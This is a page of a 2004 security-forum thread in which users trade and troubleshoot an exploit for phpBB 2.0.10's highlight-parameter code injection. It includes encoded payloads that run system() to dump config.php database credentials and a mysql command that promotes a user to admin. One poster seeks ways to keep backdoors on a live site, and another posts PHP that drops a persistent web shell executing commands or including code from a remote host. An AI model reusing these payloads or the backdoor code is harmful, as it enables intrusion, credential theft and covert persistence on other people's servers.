Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 24, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 35 Members: 0 Total: 35 Full disclosure APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1 Local Privilege Escalations in needrestart APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2 APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1 APPLE-SA-11-19-2024-2 visionOS 2.1.1 APPLE-SA-11-19-2024-1 Safari 18.1.1 Reflected XSS - fronsetiav1.1 XXE OOB - fronsetiav1.1 St. Poelten UAS | Path Traversal in Korenix JetPort 5601 St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS) SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI IT Security and Insecurity Portal www.waraxe.us Forum Index -> PhpBB -> vulns in phpbb 2.0.10 Goto page Previous1, 2, 3, 4Next View previous topic :: View next topic Re: Uploading... Posted: Fri Nov 26, 2004 2:46 pm LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman ReFleX wrote: Okey, here I put the script http://www.sururufitness.com/2bgal/stat/lang/ It's hide.... Its = to the other script of howdark The same face So just test it, I will upload it o other servers so we can have alternatives I've to work so in a few hour I make a tar with all the files of the exploit together Good job Spanish:Hey Reflex groxo trabajo si necesitas mas mirrors avisame another one Posted: Fri Nov 26, 2004 3:38 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! Ok.. i'm again.. here you have another mirror of the exploit.... enjoy http://www.mendozarranca.com/themes/MendozaArranca/style/ In a few hour we post another one Posted: Fri Nov 26, 2004 10:08 pm SteX Advanced user Joined: May 18, 2004 Posts: 181 Location: Serbia A tested script on several sites and nothing.. I have CURL Extension localy,so i tryed original exploit ,but it dont work also.. _________________ We would change the world, but God won't give us the sourcecode... ....Watch the master. Follow the master. Be the master.... ------------------------------------------------------- what? Posted: Fri Nov 26, 2004 11:49 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! Stex, we test it a lot of times and it works perfect. I have been working in the exploit And I found that we can INCLUDE files so we can execute like batch files (to get list of tables) or something were you need more than one line of code. I'm working on it to add this to the exploit, On monday I'll upload it so keep playing with this. okey!.. see u guys Posted: Mon Nov 29, 2004 3:43 pm zer0-c00l Advanced user Joined: Jun 25, 2004 Posts: 72 Location: BRAZIL! i Made a exploit in visual basic okey Posted: Mon Nov 29, 2004 4:04 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! okey guys here is the new exploit, in that one you can include files. To include files, just selec de correct option (INCLUDE) ande the put the path of the php file you want to include Code: http://www.host.com/include.php But, you have to add an ? because theres is an ADD at the end of the line, so you path would be like... Code: http://www.host.com/include.php? the url of the script is Code: http://www.sururufitness.com/2bgal/stat/lang/ http://www.sururufitness.com/2bgal/stat/lang/ okey see u guys Posted: Sat Dec 04, 2004 12:44 pm kizkur Regular user Joined: Dec 04, 2004 Posts: 11 sorry, my ingles is not good first I do &highlight=%2527%252esystem(chr(116)%252echr(97)%252echr(105)%252echr(108)%252echr(32)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112))%252e%2527 and I obtain $dbhost = 'localhost'; $dbname = 'foro'; $dbuser = 'root'; $dbpasswd = 'xxxx'; $table_prefix = 'phpbb_'; define('PHPBB_INSTALLED', true); ?> now I do &highlight=%2527.$poster=%60$ls%60.%2527&ls=mysql%20-h%20localhost%20-u%20root%20--password=xxxx%20-D=foro%20-e%20"UPDATE%20phpbb_users%20SET%20user_level=1%20WHERE%20user_id=xxx" and it responds Warning: Unknown modifier 'P' in /home/foro/public_html/foro/viewtopic.php(1104) : regexp code on line 1 Warning: Unknown modifier 'P' in /home/foro/public_html/foro/viewtopic.php(1104) : regexp code on line 5 that I make bad? thank you i am speak spanish Posted: Mon Dec 06, 2004 1:30 am Leps Beginner Joined: Dec 03, 2004 Posts: 3 Just as some help: I know a website with this vulnerability open, yet I'm sure they'll patch it sooner or later. I'd like to keep a few backdoors, like passthru()'s, and include()'s in random parts of the site, maybe new files, but I'd rather it was in current files, edited. I've tried doing some echo "<?php myscript ?>" > myfile.php but it doesn't work, and neither does cat "<?php passthru($cmd); ?>" > file.php Could anyone tell me a way to add some backdoors, before it's closed? Thanks. Posted: Mon Dec 06, 2004 4:55 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! okey guys, I'll try to help you kizkur... i dont know what you are trying to do, use the script that i post before, I try with this... It's works fine . and know I'll explain how to get the access also when they update their forums, You have to create an script in a folder where you have access. The perfect one is images/avatars Make and script in php, host it in some webserver and include it with my script. I'll post my script here Code: $fd = fopen ("/home/xxxx/public_html/forums/images/avatars/206904454741aba32699d2b.php", "w"); $codigo = '<?'; $codigo .= "\n" . '$w = $_GET[w];'; $codigo .= "\n" . '$a = $_GET["a"];'; $codigo .= "\n" . 'if ($w == "a") { '; $codigo .= "\n" . 'system($a);'; $codigo .= "\n" . '}'; $codigo .= "\n" . 'else if ($w == "b") {'; $codigo .= "\n" . 'include("http://www.geocities.com/" . $a);'; $codigo .= "\n" . '}'; $codigo .= "\n" . 'else {'; $codigo .= "\n" . 'include($a);'; $codigo .= "\n" . '}'; $codigo .= "\n" . '?>'; echo $codigo; fwrite($fd, $codigo); fclose ($fd); ?> When you include this file, it will create a file 206904454741aba32699d2b.php and thas all you have access also when they update their forum hope this help someone okey Posted: Tue Dec 07, 2004 1:11 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! okey guys the script is down... the admins of the webserver realize that in that page was the exploit so they drop. I 've put it in another host... here is the URL Code: http://www.mendozarranca.com/themes/MendozaArranca/style/ Be carefull cos it is in a not so legal host okey... keep playing Posted: Tue Dec 07, 2004 5:18 pm kizkur Regular user Joined: Dec 04, 2004 Posts: 11 thank you raflex Posted: Fri Dec 31, 2004 12:42 pm egw Beginner Joined: Dec 31, 2004 Posts: 4 ok now a (simple?) problem I am trying this in a postnuke site and when i try &highlight=%2527%252esystem(chr(116)%252echr(97)%252echr(105)%252echr(108)%252echr(32)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112))%252e%2527 i get Code: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in //www/html/__site/modules/PNphpBB2/viewtopic.php(2468) : regexp code on line 1 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in //www/html/__site/modules/PNphpBB2/viewtopic.php(2468) : regexp code on line 1 // if there is a personal_config.php in the folder where is config.php // we add it. (This HAS to be at the end, after all initialization.) // ---------------------------------------------------------------------- if (@file_exists("personal_config.php")) { include("personal_config.php"); } // ---------------------------------------------------------------------- // Make config file backwards compatible (deprecated) // ---------------------------------------------------------------------- extract($pnconfig, EXTR_OVERWRITE); ?> repetead 100 times. Any idea? Posted: Fri Dec 31, 2004 4:23 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! I were trying to exploit this bug in phpnuke with module phpbb but I couldnt get anything... if someone know how to do it...... Also I'll keep trying Posted: Fri Dec 31, 2004 6:18 pm Injector Active user Joined: Dec 29, 2004 Posts: 49 sorry i tried to use the exploit but i dont seem to know how to use it. What do i place on the third box? Posted: Fri Dec 31, 2004 9:16 pm ReFleX Active user Joined: Nov 05, 2004 Posts: 39 Location: ARGENTINA! It easy, in the thrid box you have to put what you select in the option (CMD, SQL OR INCLUDE) CMD: you can execute commands LINUX/WINDOWS directly on the server (like a shell) INCLUDE: You can put some URL to some file with a php script so you can execute your own programas in the webserver. REmember to add an ? at the end of the url like http://www.host.com/file.txt? SQL: Here you can inject code SQL to modify the databse so you can give your own admin with something like UPDATE phpbb_users SET user_level = 1 WHERE uid=<your UID> and thats all... try to be a good guy hahaha lol vulns in phpbb 2.0.10 www.waraxe.us Forum Index -> PhpBB You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 3 of 4 Goto page Previous1, 2, 3, 4Next All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.051 Seconds